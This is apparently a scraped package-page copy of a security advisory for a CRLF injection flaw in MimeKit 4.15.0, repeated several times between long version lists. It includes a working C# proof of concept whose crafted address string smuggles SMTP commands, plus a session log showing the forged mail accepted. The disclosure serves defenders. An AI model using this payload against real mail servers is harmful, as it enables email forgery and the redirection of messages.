Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Jul 28, 2021

2.13.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


            1.20.0


            1.22.0


            1.3.0-beta1


            1.3.0-beta2


            1.3.0-beta3


            1.3.0-beta4


            1.3.0-beta5


            1.3.0-beta6


            1.3.0-beta7


            1.3.0-rc1


            1.4.0


            1.4.1


            1.4.2


            1.6.0


            1.8.0


            2.0.0


            2.0.1


            2.0.2


            2.0.3


            2.0.4


            2.0.5


            2.0.6


            2.0.7


            2.1.0


            2.1.1


            2.1.2


            2.1.3


            2.1.4


            2.1.5


            2.1.5.1


            2.10.0


            2.10.1


            2.11.0


            2.12.0


            2.13.0


            2.14.0


            2.15.0


            2.15.1


            2.2.0


            2.3.0


            2.3.1


            2.3.2


            2.4.0


            2.4.0.1


            2.4.1


            2.5.0


            2.5.1


            2.5.2


            2.6.0


            2.7.0


            2.8.0


            2.9.0


            2.9.1


            2.9.2


            3.0.0


            3.0.0-preview1


            3.1.0


            3.1.1


            3.2.0


            3.3.0


            3.4.0


            3.4.1


            3.4.2


            3.4.3


            3.5.0


            3.6.0


            3.6.1


            4.0.0


            4.1.0


            4.10.0


            4.11.0


            4.12.0


            4.13.0


            4.14.0


            4.15.0


            4.2.0


            4.3.0


            4.4.0


            4.5.0


            4.6.0


            4.7.0


            4.7.1


            4.8.0


            4.9.0

Fixed in


          4.15.1

References

Updated Mar 06, 2026 · Source: OSV.dev

Jun 12, 2021

2.12.0 minor

1 CVE

CVE-2026-30227 GHSA-g7hc-96xr-gvvx Mar 05, 2026

MimeKit has CRLF Injection in Quoted Local-Part that Enables SMTP Command Injection and Email Forgery

Medium

Network Low None None

Summary

A CRLF Injection vulnerability in MimeKit 4.15.0 allows an attacker to embed \r\n into the SMTP envelope address local-part (when the local-part is a quoted-string). This is non-compliant with RFC 5321 and can result in SMTP command injection (e.g., injecting additional RCPT TO / DATA / RSET commands) and/or mail header injection, depending on how the application uses MailKit/MimeKit to construct and send messages. The issue becomes exploitable when the attacker can influence a MailboxAddress (MAIL FROM / RCPT TO) value that is later serialized to an SMTP session.

RFC 5321 explicitly defines the SMTP mailbox local-part grammar and does not permit CR (13) or LF (10) inside Quoted-string (qtextSMTP and quoted-pairSMTP ranges exclude control characters). SMTP commands are terminated by <CRLF>, making CRLF injection in command arguments particularly dangerous.

Details

1) RFC 5321 local-part grammar prohibits CR/LF in quoted-string

RFC 5321 defines:

mail = "MAIL FROM:" Reverse-path [SP Mail-parameters] CRLF

Reverse-path = Path / "<>"
Path         = "<" [ A-d-l ":" ] Mailbox ">"
A-d-l        = At-domain *( "," At-domain )
At-domain    = "@" Domain

Mailbox         = Local-part "@" ( Domain / address-literal )
Local-part      = Dot-string / Quoted-string

Dot-string      = Atom *("." Atom)
Atom            = 1*atext
atext = ALPHA / DIGIT / 
        "!" / "#" / "$" / "%" / "&" / "'" / "*" / "+" / "-" / "/" / 
        "=" / "?" / "^" / "_" / "`" / "{" / "|" / "}" / "~"


Quoted-string   = DQUOTE *QcontentSMTP DQUOTE
QcontentSMTP    = qtextSMTP / quoted-pairSMTP
quoted-pairSMTP = %d92 %d32-126
qtextSMTP       = %d32-33 / %d35-91 / %d93-126

When the local part is a quoted string, the characters and are not allowed.

2) MimeKit 4.15.0 accepts CR/LF inside quoted local-part (non-compliant)

In the MimeKit 4.15.0 version, when parsing the local part, the and characters in the double-quoted form will not be detected. As a result, MailboxAddress can accept addresses like "attacker\r\nRCPT TO:<victim@target>\r\n"@example.com as a valid address.

3) Affected components / versions

MimeKit 4.15.0 (as tested)
MailKit 4.15.0 uses/depends on MimeKit 4.15.0 Any application that:
Accepts untrusted input for sender/recipient addresses, and
Constructs MailboxAddress from that input, and
Sends via SMTP (e.g., using MailKit SmtpClient), may be impacted.

PoC

Environment:

.NET SDK: 8.0.418
Target Framework: net8.0
Packages: MailKit 4.15.0 (with MimeKit 4.15.0)
Use ProtocolLogger to capture the SMTP session and confirm injection.

Create a minimal project:

mimekit_poc.csproj

<Project Sdk="Microsoft.NET.Sdk">

  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFramework>net8.0</TargetFramework>
    <ImplicitUsings>enable</ImplicitUsings>
    <Nullable>enable</Nullable>
  </PropertyGroup>

  <ItemGroup>
    <PackageReference Include="MailKit" Version="4.15.0" />
  </ItemGroup>
</Project>

PoC program (replace SMTP host/port/address as needed):

using MailKit.Net.Smtp;
using MailKit.Security;
using MailKit;
using MimeKit;

// === payload and target setting ===

var smtpHost = "xx.xx.xx.xx";
var smtpPort = 25;
var useTls = false;
// attack in `MAIL FROM` cmd with address grammar in double quote 
var payloadEvilMailFromInput = "\"attack\r\nRSET\r\nMAIL FROM:<kc1zs4@poc.send.com>\r\nRCPT TO:<xxx@xxx.xxx.xxx.xxx>\r\nDATA\r\n.\r\nQUIT\r\nhere\"@poc.send.com";
// log in log/smtp_log_{yyyyMMdd_HHmmss_fff}.txt
var logDir = Path.Combine(AppContext.BaseDirectory, "log");
Directory.CreateDirectory(logDir);
var timestamp = DateTime.Now.ToString("yyyyMMdd_HHmmss_fff");
var logPath = Path.Combine(logDir, $"smtp_log_{timestamp}");


// === below smtp session ===
// mimekit api

var envelopeFrom = new MailboxAddress("", payloadEvilMailFromInput);
var envelopeRcpt = new MailboxAddress("", "\"kc1zs4\"@poc.recv.com");
var headerFrom = new MailboxAddress("Sender", "kc1zs4@poc.send.com");
var headerTo = new MailboxAddress("Recipient", "kc1zs4@poc.recv.com");

var message = new MimeMessage();
message.From.Add(headerFrom);
message.To.Add(headerTo);
message.Subject = "mimekit CRLF injection poc";
message.Body = new TextPart("plain") { Text = "Hello from MimeKit 4.15.0" };

try {
    using var protocolLogger = new ProtocolLogger(logPath);
    using var client = new SmtpClient(protocolLogger);

    var socketOption = useTls ? SecureSocketOptions.StartTls : SecureSocketOptions.None;
    client.Connect(smtpHost, smtpPort, socketOption);

    client.Send(FormatOptions.Default, message, envelopeFrom, new[] { envelopeRcpt });
    client.Disconnect(true);

    Console.WriteLine("[+] successfully send mail");
    Console.WriteLine($"[+] view smtp session log at: {logPath}");

} catch (SmtpCommandException ex) {

    Console.Error.WriteLine($"[!] smtp cmd err: {ex.StatusCode} - {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (SmtpProtocolException ex) {

    Console.Error.WriteLine($"[!] smtp protocol err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;

} catch (Exception ex) {

    Console.Error.WriteLine($"[!] unknown err: {ex.Message}");
    Console.Error.WriteLine($"[!] view smtp session log at: {logPath}");
    Environment.ExitCode = 1;
}

Expected result

MailboxAddress accepts the injected addr-spec containing CRLF inside the quoted local-part because it relies on quoted-string skipping that does not reject CR/LF.
The generated SMTP session (captured by ProtocolLogger) shows the MAIL FROM line being split by the injected CRLF, followed by attacker-controlled SMTP commands.
tcpdump also shows the same raw SMTP stream (optional confirmation).

Example (illustrative) excerpt from smtp session log showing the CRLF injection effect:

Connected to smtp://xxx.xxx.xxx.xxx:25/
S: 220 xxx Axigen ESMTP ready
C: EHLO KC1zs4-TPt14p
S: 250-xxx Axigen ESMTP hello
S: 250-PIPELINING
S: 250-AUTH PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-AUTH=PLAIN LOGIN CRAM-MD5 DIGEST-MD5 GSSAPI
S: 250-8BITMIME
S: 250-SIZE 10485760
S: 250-HELP
S: 250 OK
C: MAIL FROM:<"attack
C: RSET
C: MAIL FROM:<kc1zs4@poc.send.com>
C: RCPT TO:<xxx@xxx.xxx.xxx.xxx>
C: DATA
C: .
C: QUIT
C: here"@poc.send.com> SIZE=293
C: RCPT TO:<"kc1zs4"@poc.recv.com>
S: 553 Invalid mail address
S: 250 Reset done
S: 250 Sender accepted
S: 250 Recipient accepted
S: 354 Ready to receive data; remember <CRLF>.<CRLF>
S: 250 Mail queued for delivery
S: 221-xxx Axigen ESMTP is closing connection
S: 221 Good bye
C: RSET

Notes:

Whether the server executes the injected commands depends on server-side parsing/validation and SMTP pipeline state, but the client-side behavior (emitting CRLF into SMTP command stream via MailboxAddress) is sufficient to demonstrate the vulnerability class and protocol non-compliance.
SMTP commands are terminated by <CRLF>, so CRLF-in-argument is structurally hazardous by design.

Impact

Vulnerability class:

SMTP command injection / CRLF injection via envelope address (MAIL FROM / RCPT TO).
Protocol non-compliance with RFC 5321 local-part grammar for quoted-string (CR/LF not allowed).

Who is impacted:

Any application using MimeKit/MailKit to send email over SMTP where mailbox addresses are influenced by untrusted input (e.g., user-supplied “From” address, tenant-configurable sender identity, inbound-to-outbound forwarding rules, contact imports, webhook-driven mail sending, etc.).

Potential consequences:

Add or modify SMTP recipients by injecting extra RCPT TO commands (mail redirection / data exfiltration).
Corrupt the SMTP transaction state (RSET, NOOP, etc.) or attempt early DATA injection (server-dependent).
In some environments, may enable header injection if the attacker can pivot from envelope manipulation into message content workflows (application-dependent).
Logging/auditing evasion or misleading audit trails if the SMTP transcript is altered by injected command boundaries.

Suggested remediation (high level):

Reject \r and \n in local-part (and ideally anywhere) when parsing/constructing mailbox addresses used for SMTP envelopes.
Align quoted local-part parsing with RFC 5321’s qtextSMTP and quoted-pairSMTP ranges (no control characters).

Affected versions


          0.10.0


          0.10.1


          0.11.0


          0.12.0


          0.13.0


          0.14.0


          0.15.0


          0.16.0


          0.17.0


          0.18.0


          0.19.0


          0.20.0

+ 181 more


            0.21.0


            0.23.0


            0.24.0


            0.25.0


            0.26.0


            0.27.0


            0.28.0


            0.29.0


            0.30.0


            0.31.0


            0.32.0


            0.33.0


            0.34.0


            0.35.0


            0.36.0


            0.37.0


            0.38.0


            0.39.0


            0.40.0


            0.41.0


            0.42.0


            0.43.0


            0.43.0.1


            0.5.0


            0.6.0


            0.7.0


            0.7.1


            0.8.0


            0.9.0


            0.90.0


            0.91.0


            0.92.0


            0.93.0


            0.94.0


            0.95.0


            0.96.0


            0.97.0


            1.0.0


            1.0.1


            1.0.10


            1.0.11


            1.0.12


            1.0.13


            1.0.14


            1.0.15


            1.0.2


            1.0.3


            1.0.4


            1.0.5


            1.0.6


            1.0.6.1


            1.0.7


            1.0.8


            1.0.9


            1.10.0


            1.10.1


            1.12.0


            1.14.0


            1.14.1


            1.16.0


            1.16.1


            1.16.2


            1.18.0


            1.18.1


            1.2.0


            1.2.1


            1.2.10


            1.2.11


            1.2.12


            1.2.13


            1.2.14


            1.2.15


            1.2.16


            1.2.17


            1.2.17.1


            1.2.17.2


            1.2.17.3


            1.2.18


            1.2.18.1


            1.2.19


            1.2.2


            1.2.20


            1.2.20.1


            1.2.20.2


            1.2.21


            1.2.22


            1.2.23


            1.2.24


            1.2.25


            1.2.3


            1.2.4


            1.2.5


            1.2.5.1


            1.2.6


            1.2.7


            1.2.8


            1.2.9


